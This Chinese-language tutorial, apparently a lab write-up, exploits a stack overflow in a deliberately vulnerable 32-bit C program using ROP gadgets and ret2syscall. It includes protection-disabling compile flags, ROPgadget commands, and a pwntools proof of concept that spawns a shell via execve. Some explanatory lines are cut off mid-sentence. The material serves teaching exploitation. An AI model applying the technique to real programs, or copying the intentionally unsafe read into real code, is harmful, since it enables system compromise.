程序:
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/syscall.h>
void exploit()
{
system("/bin/sh");
}
void func()
{
char str[0x20];
read(0,str,0x50);
}
int main()
{
func();
return 0;
}
很容易看出func存在溢出
liunx上面的系统调用原理
eax 系统调用号
ebx 第一个参数
ecx 第二个参数
edx 第三个参数
esi 第四个参数
edi 第五个参数
int 0x80
我们利用上面的溢出和根据ropgadgets与ret2syscall技术原理去执行execve("/bin/sh",null,null); ,
所以eax就存放execve函数的系统调用号11,ebx存放第一个参数/bin/sh,ecx存放第二个参数null,就是0,edx存放第三个
eax=11 0xb
ebx="/bin/sh"的地址
ecx=0
edx=0
编译
gcc -no-pie -fno-stack-protector -static -m32 -o 7.exe 7.c
gdb 7.exe
start
static:静态编译,这样有指令流序列
找到溢出点:
在44溢出
利用ropgadget找指令地址
利用溢出把函数execve需要的参数压入栈中,压入栈中之后,这个时候我们就需要找指令地址,利用ret、push、pop这些指令把值赋值到相应的寄存器中
ROPgadget --binary ./7.exe --only "pop|ret" | grep "eax"
找指令流中包含pop和ret的,还必须有eax,我们用:0x080aaa06
ROPgadget --binary ./7.exe --only "pop|ret" | grep "ebx" | grep "ecx" | grep "edx"
地址:0x0806f711
ROPgadget --binary ./7.exe --string "/bin/sh"
/bin/sh地址:0x080ae008
ROPgadget --binary ./7.exe --only "int"|grep "0x80"
int 0x80地址:0x0804a3d2
poc和解释
from pwn import *
context(arch="i386",os="linux")
p=process('./7.exe')
offset = 44
add_eax=p32(0x080aaa06)
value_eax=p32(0xb)
add_edx_ecx_ebx=p32(0x0806f711)
value_ebx=p32(0x080ae008)
value_ecx=p32(0)
value_edx=p32(0)
add_int=p32(0x0804a3d2)
payload =offset*'\x90'+add_eax+value_eax+add_edx_ecx_ebx+value_edx+value_ecx+value_ebx+add_int
pid=proc.pidof(p)
print pid
pause()
p.sendline(payload)
p.interactive()
解释一下:
溢出44,所以我们用44个0x90填充,add_eax是pop eax ; ret 这段程序的地址, 当执行func函数的ret语句时会,eip为这个地
执行pop eax ; ret 这两条语句,pop eax,此时栈顶值只要时调用execve函数调用号,我们就成功把调用号复制给eax,eax
所以后面加了value_eax 。
执行完pop eax ,栈顶的值是add_edx_ecx_ebx ,也就是下面程序的地址
pop edx ;
pop ecx ;
pop ebx ;
ret
执行ret,我们到这段程序执行,此时栈顶的值是value_edx ,执行pop edx ; ,value_edx到edx中了,后面指令依次类推,执
栈顶的值是: add_int ,也就是int 0x80 的首地址,执行完ret,我们到这里执行,成功调用execve函数
执行poc,成功:
总结
这个思想大致是在一个程序中,找出我们需要的语句,然后利用溢出,构造数据,把数据打入栈中·,然后利用pop、push、ret语句,将这些数据传入到相应的寄存器,然后让程序去执行这些语句,相当于我们在
一些语句,让程序不按照原来的步骤执行,去执行我们找出来的语句。
这里面关键的技术是保证堆栈平衡,把参数放到指令流需要的地方。这是ropgadgets技术的精髓